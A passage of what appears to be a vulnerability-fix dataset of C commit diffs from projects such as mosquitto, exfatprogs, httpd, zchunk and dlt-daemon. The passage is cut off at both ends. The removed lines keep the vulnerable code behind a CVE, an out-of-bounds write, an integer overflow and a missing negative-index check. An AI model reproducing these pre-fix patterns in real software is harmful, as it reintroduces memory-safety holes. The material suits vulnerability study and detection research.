radix) {\n \treturn digits;\n }\n \n-void fp_read_str(fp_t a, const char *str, int len, int radix) {\n+void fp_read_str(fp_t a, const char *str, size_t len, unsigned int radix) {\n \tbn_t t;\n \n \tbn_null(t);\n@@ -208,7 +208,7 @@ void fp_read_str(fp_t a, const char *str, int len, int radix) {\n \t}\n }\n \n-void fp_write_str(char *str, int len, const fp_t a, int radix) {\n+void fp_write_str(char *str, size_t len, const fp_t a, unsigned int radix) {\n \tbn_t t;\n \n \tbn_null(t);\n@@ -227,7 +227,7 @@ void fp_write_str(char *str, int len, const fp_t a, int radix) {\n \t}\n }\n \n-void fp_read_bin(fp_t a, const uint8_t *bin, int len) {\n+void fp_read_bin(fp_t a, const uint8_t *bin, size_t len) {\n \tbn_t t;\n \n \tbn_null(t);\n@@ -253,7 +253,7 @@ void fp_read_bin(fp_t a, const uint8_t *bin, int len) {\n \t\t\t\t} else {\n \t\t\t\t\tfp_prime_conv(a, t);\n \t\t\t\t}\n-\t\t\t}\t\n+\t\t\t}\n \t\t}\n \t}\n \tRLC_CATCH_ANY {\n@@ -264,7 +264,7 @@ void fp_read_bin(fp_t a, const uint8_t *bin, int len) {\n \t}\n }\n \n-void fp_write_bin(uint8_t *bin, int len, const fp_t a) {\n+void fp_write_bin(uint8_t *bin, size_t len, const fp_t a) {\n \tbn_t t;\n \n \tbn_null(t);", "sections": [{"section": "@@ -62,15 +62,15 @@ int fp_is_even(const fp_t a) {\n \treturn 0;\n }\n \n-int fp_get_bit(const fp_t a, int bit) {\n+int fp_get_bit(const fp_t a, size_t bit) {\n \tint d;\n \n \tRLC_RIP(bit, d, bit);\n \n \treturn (a[d] >> bit) & 1;\n }\n \n-void fp_set_bit(fp_t a, int bit, int value) {\n+void fp_set_bit(fp_t a, size_t bit, int value) {\n \tint d;\n \tdig_t mask;\n \n", "related": false}, {"section": "@@ -85,7 +85,7 @@ void fp_set_bit(fp_t a, int bit, int value) {\n \t}\n }\n \n-int fp_bits(const fp_t a) {\n+size_t fp_bits(const fp_t a) {\n \tint i = RLC_FP_DIGS - 1;\n \n \twhile (i >= 0 && a[i] == 0) {\n", "related": false}, {"section": "@@ -157,9 +157,9 @@ void fp_print(const fp_t a) {\n \t}\n }\n \n-int fp_size_str(const fp_t a, int radix) {\n+size_t fp_size_str(const fp_t a, unsigned int radix) {\n \tbn_t t;\n-\tint digits = 0;\n+\tsize_t digits = 0;\n \n \tbn_null(t);\n \n", "related": false}, {"section": "@@ -179,7 +179,7 @@ int fp_size_str(const fp_t a, int radix) {\n \treturn digits;\n }\n \n-void fp_read_str(fp_t a, const char *str, int len, int radix) {\n+void fp_read_str(fp_t a, const char *str, size_t len, unsigned int radix) {\n \tbn_t t;\n \n \tbn_null(t);\n", "related": false}, {"section": "@@ -208,7 +208,7 @@ void fp_read_str(fp_t a, const char *str, int len, int radix) {\n \t}\n }\n \n-void fp_write_str(char *str, int len, const fp_t a, int radix) {\n+void fp_write_str(char *str, size_t len, const fp_t a, unsigned int radix) {\n \tbn_t t;\n \n \tbn_null(t);\n", "related": false}, {"section": "@@ -227,7 +227,7 @@ void fp_write_str(char *str, int len, const fp_t a, int radix) {\n \t}\n }\n \n-void fp_read_bin(fp_t a, const uint8_t *bin, int len) {\n+void fp_read_bin(fp_t a, const uint8_t *bin, size_t len) {\n \tbn_t t;\n \n \tbn_null(t);\n", "related": false}, {"section": "@@ -253,7 +253,7 @@ void fp_read_bin(fp_t a, const uint8_t *bin, int len) {\n \t\t\t\t} else {\n \t\t\t\t\tfp_prime_conv(a, t);\n \t\t\t\t}\n-\t\t\t}\t\n+\t\t\t}\n \t\t}\n \t}\n \tRLC_CATCH_ANY {\n", "related": false}, {"section": "@@ -264,7 +264,7 @@ void fp_read_bin(fp_t a, const uint8_t *bin, int len) {\n \t}\n }\n \n-void fp_write_bin(uint8_t *bin, int len, const fp_t a) {\n+void fp_write_bin(uint8_t *bin, size_t len, const fp_t a) {\n \tbn_t t;\n \n \tbn_null(t);", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/md/relic_md_sha384.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -40,7 +40,7 @@\n \n #if MD_MAP == SH384 || !defined(STRIP)\n \n-void md_map_sh384(uint8_t *hash, const uint8_t *msg, int len) {\n+void md_map_sh384(uint8_t *hash, const uint8_t *msg, size_t len) {\n \tSHA384Context ctx;\n \n \tif (SHA384Reset(&ctx) != shaSuccess) {", "sections": [{"section": "@@ -40,7 +40,7 @@\n \n #if MD_MAP == SH384 || !defined(STRIP)\n \n-void md_map_sh384(uint8_t *hash, const uint8_t *msg, int len) {\n+void md_map_sh384(uint8_t *hash, const uint8_t *msg, size_t len) {\n \tSHA384Context ctx;\n \n \tif (SHA384Reset(&ctx) != shaSuccess) {", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "test/test_bn.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -234,7 +234,7 @@ static int util(void) {\n \t\t} TEST_END;\n \n \t\tTEST_CASE(\"reading and writing a positive number are consistent\") {\n-\t\t\tint len = RLC_CEIL(RLC_BN_BITS, 8);\n+\t\t\tsize_t len = RLC_CEIL(RLC_BN_BITS, 8);\n \t\t\tbn_rand(a, RLC_POS, RLC_BN_BITS);\n \t\t\tfor (int j = 2; j <= 64; j++) {\n \t\t\t\tbits = bn_size_str(a, j);\n@@ -262,7 +262,7 @@ static int util(void) {\n \t\tTEST_END;\n \n \t\tTEST_CASE(\"reading and writing a negative number are consistent\") {\n-\t\t\tint len = RLC_CEIL(RLC_BN_BITS, 8);\n+\t\t\tsize_t len = RLC_CEIL(RLC_BN_BITS, 8);\n \t\t\tbn_rand(a, RLC_NEG, RLC_BN_BITS);\n \t\t\tfor (int j = 2; j <= 64; j++) {\n \t\t\t\tbits = bn_size_str(a, j);\n@@ -1139,8 +1139,9 @@ static int exponentiation(void) {\n }\n \n static int square_root(void) {\n-\tint bits, code = RLC_ERR;\n+\tsize_t bits;\n \tbn_t a, b, c;\n+\tint code = RLC_ERR;\n \n \tbn_null(a);\n \tbn_null(b);\n@@ -1938,9 +1939,10 @@ static int factor(void) {\n static int recoding(void) {\n \tint code = RLC_ERR;\n \tbn_t a, b, c, v1[3], v2[3];\n-\tint w, k, l;\n+\tint w, k;\n \tuint8_t d[RLC_BN_BITS + 1];\n \tint8_t e[2 * (RLC_BN_BITS + 1)];\n+\tsize_t l;\n \n \tbn_null(a);\n \tbn_null(b);", "sections": [{"section": "@@ -234,7 +234,7 @@ static int util(void) {\n \t\t} TEST_END;\n \n \t\tTEST_CASE(\"reading and writing a positive number are consistent\") {\n-\t\t\tint len = RLC_CEIL(RLC_BN_BITS, 8);\n+\t\t\tsize_t len = RLC_CEIL(RLC_BN_BITS, 8);\n \t\t\tbn_rand(a, RLC_POS, RLC_BN_BITS);\n \t\t\tfor (int j = 2; j <= 64; j++) {\n \t\t\t\tbits = bn_size_str(a, j);\n", "related": false}, {"section": "@@ -262,7 +262,7 @@ static int util(void) {\n \t\tTEST_END;\n \n \t\tTEST_CASE(\"reading and writing a negative number are consistent\") {\n-\t\t\tint len = RLC_CEIL(RLC_BN_BITS, 8);\n+\t\t\tsize_t len = RLC_CEIL(RLC_BN_BITS, 8);\n \t\t\tbn_rand(a, RLC_NEG, RLC_BN_BITS);\n \t\t\tfor (int j = 2; j <= 64; j++) {\n \t\t\t\tbits = bn_size_str(a, j);\n", "related": false}, {"section": "@@ -1139,8 +1139,9 @@ static int exponentiation(void) {\n }\n \n static int square_root(void) {\n-\tint bits, code = RLC_ERR;\n+\tsize_t bits;\n \tbn_t a, b, c;\n+\tint code = RLC_ERR;\n \n \tbn_null(a);\n \tbn_null(b);\n", "related": false}, {"section": "@@ -1938,9 +1939,10 @@ static int factor(void) {\n static int recoding(void) {\n \tint code = RLC_ERR;\n \tbn_t a, b, c, v1[3], v2[3];\n-\tint w, k, l;\n+\tint w, k;\n \tuint8_t d[RLC_BN_BITS + 1];\n \tint8_t e[2 * (RLC_BN_BITS + 1)];\n+\tsize_t l;\n \n \tbn_null(a);\n \tbn_null(b);", "related": false}]} +{"owner": "eclipse", "repo": "mosquitto", "language": "C", "file_name": "src/handle_publish.c", "commit_id": "6113eac95a9df634fbc858be542c4a0456bfe7b9", "commit_message": "Fix for CVE-2023-28366", "patch": "@@ -42,6 +42,7 @@ int handle__publish(struct mosquitto *context)\n \tuint8_t header = context->in_packet.command;\n \tint res = 0;\n \tstruct mosquitto_msg_store *msg, *stored = NULL;\n+\tstruct mosquitto_client_msg *cmsg_stored = NULL;\n \tsize_t len;\n \tuint16_t slen;\n \tchar *topic_mount;\n@@ -287,24 +288,24 @@ int handle__publish(struct mosquitto *context)\n \t}\n \n \tif(msg->qos > 0){\n-\t\tdb__message_store_find(context, msg->source_mid, &stored);\n+\t\tdb__message_store_find(context, msg->source_mid, &cmsg_stored);\n \t}\n \n-\tif(stored && msg->source_mid != 0 &&\n-\t\t\t(stored->qos != msg->qos\n-\t\t\t || stored->payloadlen != msg->payloadlen\n-\t\t\t || strcmp(stored->topic, msg->topic)\n-\t\t\t || memcmp(stored->payload, msg->payload, msg->payloadlen) )){\n+\tif(cmsg_stored && cmsg_stored->store && msg->source_mid != 0 &&\n+\t\t\t(cmsg_stored->store->qos != msg->qos\n+\t\t\t || cmsg_stored->store->payloadlen != msg->payloadlen\n+\t\t\t || strcmp(cmsg_stored->store->topic, msg->topic)\n+\t\t\t || memcmp(cmsg_stored->store->payload, msg->payload, msg->payloadlen) )){\n \n \t\tlog__printf(NULL, MOSQ_LOG_WARNING, \"Reused message ID %u from %s detected. Clearing from storage.\", msg->source_mid, context->id);\n \t\tdb__message_remove_incoming(context, msg->source_mid);\n-\t\tstored = NULL;\n+\t\tcmsg_stored = NULL;\n \t}\n \n-\tif(!stored){\n+\tif(!cmsg_stored){\n \t\tif(msg->qos == 0\n \t\t\t\t|| db__ready_for_flight(context, mosq_md_in, msg->qos)\n-\t\t\t\t|| db__ready_for_queue(context, msg->qos, &context->msgs_in)){\n+\t\t\t\t){\n \n \t\t\tdup = 0;\n \t\t\trc = db__message_store(context, msg, message_expiry_interval, 0, mosq_mo_client);\n@@ -316,10 +317,13 @@ int handle__publish(struct mosquitto *context)\n \t\t}\n \t\tstored = msg;\n \t\tmsg = NULL;\n+\t\tdup = 0;\n \t}else{\n \t\tdb__msg_store_free(msg);\n \t\tmsg = NULL;\n-\t\tdup = 1;\n+\t\tstored = cmsg_stored->store;\n+\t\tcmsg_stored->dup++;\n+\t\tdup = cmsg_stored->dup;\n \t}\n \n \tswitch(stored->qos){\n@@ -345,11 +349,17 @@ int handle__publish(struct mosquitto *context)\n \t\t\t}else{\n \t\t\t\tres = 0;\n \t\t\t}\n+\n \t\t\t/* db__message_insert() returns 2 to indicate dropped message\n \t\t\t * due to queue. This isn't an error so don't disconnect them. */\n \t\t\t/* FIXME - this is no longer necessary due to failing early above */\n \t\t\tif(!res){\n-\t\t\t\tif(send__pubrec(context, stored->source_mid, 0, NULL)) rc = 1;\n+\t\t\t\tif(dup == 0 || dup == 1){\n+\t\t\t\t\trc2 = send__pubrec(context, stored->source_mid, 0, NULL);\n+\t\t\t\t\tif(rc2) rc = rc2;\n+\t\t\t\t}else{\n+\t\t\t\t\treturn MOSQ_ERR_PROTOCOL;\n+\t\t\t\t}\n \t\t\t}else if(res == 1){\n \t\t\t\trc = 1;\n \t\t\t}\n@@ -374,6 +384,9 @@ int handle__publish(struct mosquitto *context)\n \t\t}\n \t\tdb__msg_store_free(msg);\n \t}\n+\tif(context->out_packet_count >= db.config->max_queued_messages){\n+\t\trc = MQTT_RC_QUOTA_EXCEEDED;\n+\t}\n \treturn rc;\n }\n ", "sections": [{"section": "@@ -42,6 +42,7 @@ int handle__publish(struct mosquitto *context)\n \tuint8_t header = context->in_packet.command;\n \tint res = 0;\n \tstruct mosquitto_msg_store *msg, *stored = NULL;\n+\tstruct mosquitto_client_msg *cmsg_stored = NULL;\n \tsize_t len;\n \tuint16_t slen;\n \tchar *topic_mount;\n", "related": false}, {"section": "@@ -287,24 +288,24 @@ int handle__publish(struct mosquitto *context)\n \t}\n \n \tif(msg->qos > 0){\n-\t\tdb__message_store_find(context, msg->source_mid, &stored);\n+\t\tdb__message_store_find(context, msg->source_mid, &cmsg_stored);\n \t}\n \n-\tif(stored && msg->source_mid != 0 &&\n-\t\t\t(stored->qos != msg->qos\n-\t\t\t || stored->payloadlen != msg->payloadlen\n-\t\t\t || strcmp(stored->topic, msg->topic)\n-\t\t\t || memcmp(stored->payload, msg->payload, msg->payloadlen) )){\n+\tif(cmsg_stored && cmsg_stored->store && msg->source_mid != 0 &&\n+\t\t\t(cmsg_stored->store->qos != msg->qos\n+\t\t\t || cmsg_stored->store->payloadlen != msg->payloadlen\n+\t\t\t || strcmp(cmsg_stored->store->topic, msg->topic)\n+\t\t\t || memcmp(cmsg_stored->store->payload, msg->payload, msg->payloadlen) )){\n \n \t\tlog__printf(NULL, MOSQ_LOG_WARNING, \"Reused message ID %u from %s detected. Clearing from storage.\", msg->source_mid, context->id);\n \t\tdb__message_remove_incoming(context, msg->source_mid);\n-\t\tstored = NULL;\n+\t\tcmsg_stored = NULL;\n \t}\n \n-\tif(!stored){\n+\tif(!cmsg_stored){\n \t\tif(msg->qos == 0\n \t\t\t\t|| db__ready_for_flight(context, mosq_md_in, msg->qos)\n-\t\t\t\t|| db__ready_for_queue(context, msg->qos, &context->msgs_in)){\n+\t\t\t\t){\n \n \t\t\tdup = 0;\n \t\t\trc = db__message_store(context, msg, message_expiry_interval, 0, mosq_mo_client);\n", "related": false}, {"section": "@@ -316,10 +317,13 @@ int handle__publish(struct mosquitto *context)\n \t\t}\n \t\tstored = msg;\n \t\tmsg = NULL;\n+\t\tdup = 0;\n \t}else{\n \t\tdb__msg_store_free(msg);\n \t\tmsg = NULL;\n-\t\tdup = 1;\n+\t\tstored = cmsg_stored->store;\n+\t\tcmsg_stored->dup++;\n+\t\tdup = cmsg_stored->dup;\n \t}\n \n \tswitch(stored->qos){\n", "related": false}, {"section": "@@ -345,11 +349,17 @@ int handle__publish(struct mosquitto *context)\n \t\t\t}else{\n \t\t\t\tres = 0;\n \t\t\t}\n+\n \t\t\t/* db__message_insert() returns 2 to indicate dropped message\n \t\t\t * due to queue. This isn't an error so don't disconnect them. */\n \t\t\t/* FIXME - this is no longer necessary due to failing early above */\n \t\t\tif(!res){\n-\t\t\t\tif(send__pubrec(context, stored->source_mid, 0, NULL)) rc = 1;\n+\t\t\t\tif(dup == 0 || dup == 1){\n+\t\t\t\t\trc2 = send__pubrec(context, stored->source_mid, 0, NULL);\n+\t\t\t\t\tif(rc2) rc = rc2;\n+\t\t\t\t}else{\n+\t\t\t\t\treturn MOSQ_ERR_PROTOCOL;\n+\t\t\t\t}\n \t\t\t}else if(res == 1){\n \t\t\t\trc = 1;\n \t\t\t}\n", "related": false}, {"section": "@@ -374,6 +384,9 @@ int handle__publish(struct mosquitto *context)\n \t\t}\n \t\tdb__msg_store_free(msg);\n \t}\n+\tif(context->out_packet_count >= db.config->max_queued_messages){\n+\t\trc = MQTT_RC_QUOTA_EXCEEDED;\n+\t}\n \treturn rc;\n }\n ", "related": false}]} +{"owner": "exfatprogs", "repo": "exfatprogs", "language": "C", "file_name": "exfat2img/exfat2img.c", "commit_id": "4abc55e976573991e6a1117bb2b3711e59da07ae", "commit_message": "exfat2img: fix out-of-bounds write in read_file_dentry_set\n\nif SecondaryCount is greater than (2 + the max number\nof File Name entries), writing to memory outside\nthe node->name could happen.\n\nReported-by: Yuezhang Mo \nSigned-off-by: Hyunchul Lee \nSigned-off-by: Namjae Jeon ", "patch": "@@ -319,7 +319,7 @@ static int read_file_dentry_set(struct exfat_de_iter *iter,\n \tif (!node)\n \t\treturn -ENOMEM;\n \n-\tfor (i = 2; i <= file_de->file_num_ext; i++) {\n+\tfor (i = 2; i <= MIN(file_de->file_num_ext, 1 + MAX_NAME_DENTRIES); i++) {\n \t\tret = exfat_de_iter_get(iter, i, &dentry);\n \t\tif (ret || dentry->type != EXFAT_NAME)\n \t\t\tbreak;", "sections": [{"section": "@@ -319,7 +319,7 @@ static int read_file_dentry_set(struct exfat_de_iter *iter,\n \tif (!node)\n \t\treturn -ENOMEM;\n \n-\tfor (i = 2; i <= file_de->file_num_ext; i++) {\n+\tfor (i = 2; i <= MIN(file_de->file_num_ext, 1 + MAX_NAME_DENTRIES); i++) {\n \t\tret = exfat_de_iter_get(iter, i, &dentry);\n \t\tif (ret || dentry->type != EXFAT_NAME)\n \t\t\tbreak;", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "modules/http2/h2_stream.c", "commit_id": "582c533c1728459eef5f8ec1a64b81fb093b26a8", "commit_message": "Merge of 1912385 from trunk:\n\n *) mod_http2: fixed a bug in handling of stream timeouts.\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/branches/2.4.x@1912991 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -1264,6 +1264,14 @@ int h2_stream_is_ready(h2_stream *stream)\n return 0;\n }\n \n+int h2_stream_wants_send_data(h2_stream *stream)\n+{\n+ H2_STRM_ASSERT_MAGIC(stream, H2_STRM_MAGIC_OK);\n+ return h2_stream_is_ready(stream) &&\n+ ((stream->out_buffer && !APR_BRIGADE_EMPTY(stream->out_buffer)) ||\n+ (stream->output && !h2_beam_empty(stream->output)));\n+}\n+\n int h2_stream_is_at(const h2_stream *stream, h2_stream_state_t state)\n {\n H2_STRM_ASSERT_MAGIC(stream, H2_STRM_MAGIC_OK);", "sections": [{"section": "@@ -1264,6 +1264,14 @@ int h2_stream_is_ready(h2_stream *stream)\n return 0;\n }\n \n+int h2_stream_wants_send_data(h2_stream *stream)\n+{\n+ H2_STRM_ASSERT_MAGIC(stream, H2_STRM_MAGIC_OK);\n+ return h2_stream_is_ready(stream) &&\n+ ((stream->out_buffer && !APR_BRIGADE_EMPTY(stream->out_buffer)) ||\n+ (stream->output && !h2_beam_empty(stream->output)));\n+}\n+\n int h2_stream_is_at(const h2_stream *stream, h2_stream_state_t state)\n {\n H2_STRM_ASSERT_MAGIC(stream, H2_STRM_MAGIC_OK);", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "modules/http2/h2_conn_ctx.h", "commit_id": "06ceb22deb88c144c199305278e8fb9325bee748", "commit_message": "backport of https://github.com/apache/httpd/pull/364\n\nMerge 1907696,1907697 from trunk:\n\n *) mod_http2: new directive 'H2MaxDataFrameLen n' to limit the maximum\n amount of response body bytes put into a single HTTP/2 DATA frame.\n Setting this to 0 places no limit (but the max size allowed by the\n protocol is observed).\n The module, by default, tries to use the maximum size possible, which is\n somewhat around 16KB. This sets the maximum. When less response data is\n available, smaller frames will be sent.\n\nMerge r1909769 from trunk (plus sync mod_http2.xml)\n\n *) mod_http2: v2.0.15 with the following fixes and improvements\n - New directive 'H2EarlyHint name value' to add headers to a response,\n picked up already when a \"103 Early Hints\" response is sent. 'name' and\n 'value' must comply to the HTTP field restrictions.\n This directive can be repeated several times and header fields of the\n same names add. Sending a 'Link' header with 'preload' relation will\n also cause a HTTP/2 PUSH if enabled and supported by the client.\n - Fixed an issue where requests were not logged and accounted in a timely\n fashion when the connection returns to \"keepalive\" handling, e.g. when\n the request served was the last outstanding one.\n This led to late appearance in access logs with wrong duration times\n reported.\n - Accurately report the bytes sent for a request in the '%O' Log format.\n This addresses #203, a long outstanding issue where mod_h2 has reported\n numbers over-eagerly from internal buffering and not what has actually\n been placed on the connection.\n The numbers are now the same with and without H2CopyFiles enabled.\n\nMerge r1910157 from trunk\n\n * mod_proxy_http2: fixed using the wrong \"bucket_alloc\" from the backend\n connection when sending data on the frontend one. This caused crashes\n or infinite loops in rare situations.\n * mod_proxy_http2: fixed a bug in retry/response handling that could lead\n to wrong status codes or HTTP messages send at the end of response bodies\n exceeding the announced content-length.\n * mod_proxy_http2: fix retry handling to not leak temporary errors.\n On detecting that that an existing connection was shutdown by the other\n side, a 503 response leaked even though the request was retried on a\n fresh connection.\n * mod_http2: fixed a bug that did cleanup of consumed and pending buckets in\n the wrong order when a bucket_beam was destroyed.\n\nMerge of 1910331,1910386,1910441 from trunk\n\n *) mod_http2: fixed a bug in flushing pending data on an already closed\n connection that could lead to a busy loop, preventing the HTTP/2 session\n to close down successfully. Fixed PR 66624.\n Fixed a bug that could lead to a crash in main connection\n output handling. This occured only when the last request on a HTTP/2\n connection had been processed and the session decided to shut down.\n This could lead to an attempt to send a final GOAWAY while the previous\n write was still in progress. See PR 66646.\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/branches/2.4.x@1910699 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -61,6 +61,7 @@ struct h2_conn_ctx_t {\n int has_final_response; /* final HTTP response passed on out */\n apr_status_t last_err; /* APR_SUCCES or last error encountered in filters */\n \n+ apr_off_t bytes_sent; /* c2: bytes acutaly sent via c1 */\n /* atomic */ apr_uint32_t started; /* c2: processing was started */\n apr_time_t started_at; /* c2: when processing started */\n /* atomic */ apr_uint32_t done; /* c2: processing has finished */", "sections": [{"section": "@@ -61,6 +61,7 @@ struct h2_conn_ctx_t {\n int has_final_response; /* final HTTP response passed on out */\n apr_status_t last_err; /* APR_SUCCES or last error encountered in filters */\n \n+ apr_off_t bytes_sent; /* c2: bytes acutaly sent via c1 */\n /* atomic */ apr_uint32_t started; /* c2: processing was started */\n apr_time_t started_at; /* c2: when processing started */\n /* atomic */ apr_uint32_t done; /* c2: processing has finished */", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "modules/http2/h2_stream.h", "commit_id": "06ceb22deb88c144c199305278e8fb9325bee748", "commit_message": "backport of https://github.com/apache/httpd/pull/364\n\nMerge 1907696,1907697 from trunk:\n\n *) mod_http2: new directive 'H2MaxDataFrameLen n' to limit the maximum\n amount of response body bytes put into a single HTTP/2 DATA frame.\n Setting this to 0 places no limit (but the max size allowed by the\n protocol is observed).\n The module, by default, tries to use the maximum size possible, which is\n somewhat around 16KB. This sets the maximum. When less response data is\n available, smaller frames will be sent.\n\nMerge r1909769 from trunk (plus sync mod_http2.xml)\n\n *) mod_http2: v2.0.15 with the following fixes and improvements\n - New directive 'H2EarlyHint name value' to add headers to a response,\n picked up already when a \"103 Early Hints\" response is sent. 'name' and\n 'value' must comply to the HTTP field restrictions.\n This directive can be repeated several times and header fields of the\n same names add. Sending a 'Link' header with 'preload' relation will\n also cause a HTTP/2 PUSH if enabled and supported by the client.\n - Fixed an issue where requests were not logged and accounted in a timely\n fashion when the connection returns to \"keepalive\" handling, e.g. when\n the request served was the last outstanding one.\n This led to late appearance in access logs with wrong duration times\n reported.\n - Accurately report the bytes sent for a request in the '%O' Log format.\n This addresses #203, a long outstanding issue where mod_h2 has reported\n numbers over-eagerly from internal buffering and not what has actually\n been placed on the connection.\n The numbers are now the same with and without H2CopyFiles enabled.\n\nMerge r1910157 from trunk\n\n * mod_proxy_http2: fixed using the wrong \"bucket_alloc\" from the backend\n connection when sending data on the frontend one. This caused crashes\n or infinite loops in rare situations.\n * mod_proxy_http2: fixed a bug in retry/response handling that could lead\n to wrong status codes or HTTP messages send at the end of response bodies\n exceeding the announced content-length.\n * mod_proxy_http2: fix retry handling to not leak temporary errors.\n On detecting that that an existing connection was shutdown by the other\n side, a 503 response leaked even though the request was retried on a\n fresh connection.\n * mod_http2: fixed a bug that did cleanup of consumed and pending buckets in\n the wrong order when a bucket_beam was destroyed.\n\nMerge of 1910331,1910386,1910441 from trunk\n\n *) mod_http2: fixed a bug in flushing pending data on an already closed\n connection that could lead to a busy loop, preventing the HTTP/2 session\n to close down successfully. Fixed PR 66624.\n Fixed a bug that could lead to a crash in main connection\n output handling. This occured only when the last request on a HTTP/2\n connection had been processed and the session decided to shut down.\n This could lead to an attempt to send a final GOAWAY while the previous\n write was still in progress. See PR 66646.\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/branches/2.4.x@1910699 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -63,7 +63,22 @@ typedef struct h2_stream_monitor {\n trigger a state change */\n } h2_stream_monitor;\n \n+#ifdef AP_DEBUG\n+#define H2_STRM_MAGIC_OK 0x5354524d\n+#define H2_STRM_MAGIC_SDEL 0x5344454c\n+#define H2_STRM_MAGIC_PDEL 0x5044454c\n+\n+#define H2_STRM_ASSIGN_MAGIC(s,m) ((s)->magic = m)\n+#define H2_STRM_ASSERT_MAGIC(s,m) ap_assert((s)->magic == m)\n+#else\n+#define H2_STRM_ASSIGN_MAGIC(s,m) ((void)0)\n+#define H2_STRM_ASSERT_MAGIC(s,m) ((void)0)\n+#endif\n+\n struct h2_stream {\n+#ifdef AP_DEBUG\n+ uint32_t magic;\n+#endif\n int id; /* http2 stream identifier */\n int initiated_on; /* initiating stream id (PUSH) or 0 */\n apr_pool_t *pool; /* the memory pool for this stream */", "sections": [{"section": "@@ -63,7 +63,22 @@ typedef struct h2_stream_monitor {\n trigger a state change */\n } h2_stream_monitor;\n \n+#ifdef AP_DEBUG\n+#define H2_STRM_MAGIC_OK 0x5354524d\n+#define H2_STRM_MAGIC_SDEL 0x5344454c\n+#define H2_STRM_MAGIC_PDEL 0x5044454c\n+\n+#define H2_STRM_ASSIGN_MAGIC(s,m) ((s)->magic = m)\n+#define H2_STRM_ASSERT_MAGIC(s,m) ap_assert((s)->magic == m)\n+#else\n+#define H2_STRM_ASSIGN_MAGIC(s,m) ((void)0)\n+#define H2_STRM_ASSERT_MAGIC(s,m) ((void)0)\n+#endif\n+\n struct h2_stream {\n+#ifdef AP_DEBUG\n+ uint32_t magic;\n+#endif\n int id; /* http2 stream identifier */\n int initiated_on; /* initiating stream id (PUSH) or 0 */\n apr_pool_t *pool; /* the memory pool for this stream */", "related": false}]} +{"owner": "zchunk", "repo": "zchunk", "language": "C", "file_name": "src/lib/comp/comp.c", "commit_id": "08aec2b4dfd7f709b6e3d511411ffcc83ed4efbe", "commit_message": "Handle overflow errors in malformed zchunk files\n\nThanks to Agostino Sarubbo of Gentoo for the heads up!\n\nSigned-off-by: Jonathan Dieter ", "patch": "@@ -115,6 +115,12 @@ static bool comp_add_to_data(zckCtx *zck, zckComp *comp, const char *src,\n ALLOCD_BOOL(zck, comp);\n ALLOCD_BOOL(zck, src);\n \n+ if((comp->data_size > comp->data_size + src_size) ||\n+ (src_size > comp->data_size + src_size)) {\n+ zck_log(ZCK_LOG_ERROR, \"Integer overflow when reading data\");\n+ return false;\n+ }\n+\n comp->data = zrealloc(comp->data, comp->data_size + src_size);\n if (!comp->data) {\n zck_log(ZCK_LOG_ERROR, \"OOM in %s\", __func__);", "sections": [{"section": "@@ -115,6 +115,12 @@ static bool comp_add_to_data(zckCtx *zck, zckComp *comp, const char *src,\n ALLOCD_BOOL(zck, comp);\n ALLOCD_BOOL(zck, src);\n \n+ if((comp->data_size > comp->data_size + src_size) ||\n+ (src_size > comp->data_size + src_size)) {\n+ zck_log(ZCK_LOG_ERROR, \"Integer overflow when reading data\");\n+ return false;\n+ }\n+\n comp->data = zrealloc(comp->data, comp->data_size + src_size);\n if (!comp->data) {\n zck_log(ZCK_LOG_ERROR, \"OOM in %s\", __func__);", "related": false}]} +{"owner": "michael-methner", "repo": "dlt-daemon", "language": "C", "file_name": "src/shared/dlt_common.c", "commit_id": "8ac9a080bee25e67e49bd138d81c992ce7b6d899", "commit_message": "Check for negative index in dlt_file_message\n\nFixes #436\n\nSigned-off-by: Michael Methner ", "patch": "@@ -1718,7 +1718,7 @@ DltReturnValue dlt_file_message(DltFile *file, int index, int verbose)\n return DLT_RETURN_WRONG_PARAMETER;\n \n /* check if message is in range */\n- if (index >= file->counter) {\n+ if (index < 0 || index >= file->counter) {\n dlt_vlog(LOG_WARNING, \"Message %d out of range!\\r\\n\", index);\n return DLT_RETURN_WRONG_PARAMETER;\n }", "sections": [{"section": "@@ -1718,7 +1718,7 @@ DltReturnValue dlt_file_message(DltFile *file, int index, int verbose)\n return DLT_RETURN_WRONG_PARAMETER;\n \n /* check if message is in range */\n- if (index >= file->counter) {\n+ if (index < 0 || index >= file->counter) {\n dlt_vlog(LOG_WARNING, \"Message %d out of range!\\r\\n\", index);\n return DLT_RETURN_WRONG_PARAMETER;\n }", "related": false}]} +{"owner": "tiann", "repo": "kernelsu", "language": "C", "file_name": "kernel/apk_sign.c", "commit_id": "a22959beae1aad96b1f72710a5daadf529c41bda", "commit_message": "kernel: harden the signature check (#1027)", "patch": "@@ -1,20 +1,136 @@\n+#include \"linux/err.h\"\n #include \"linux/fs.h\"\n+#include \"linux/gfp.h\"\n+#include \"linux/kernel.h\"\n #include \"linux/moduleparam.h\"\n \n #include \"apk_sign.h\"\n #include \"klog.h\" // IWYU pragma: keep\n #include \"kernel_compat.h\"\n+#include \"crypto/hash.h\"\n+#include \"linux/slab.h\"\n+#include \"linux/version.h\"\n \n-static __always_inline int\n-check_v2_signature(char *path, unsigned expected_size, unsigned expected_hash)\n+#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 11, 0)\n+#include \"crypto/sha2.h\"\n+#else\n+#include \"crypto/sha.h\"\n+#endif\n+\n+struct sdesc {\n+\tstruct shash_desc shash;\n+\tchar ctx[];\n+};\n+\n+static struct sdesc *init_sdesc(struct crypto_shash *alg)\n+{\n+\tstruct sdesc *sdesc;\n+\tint size;\n+\n+\tsize = sizeof(struct shash_desc) + crypto_shash_descsize(alg);\n+\tsdesc = 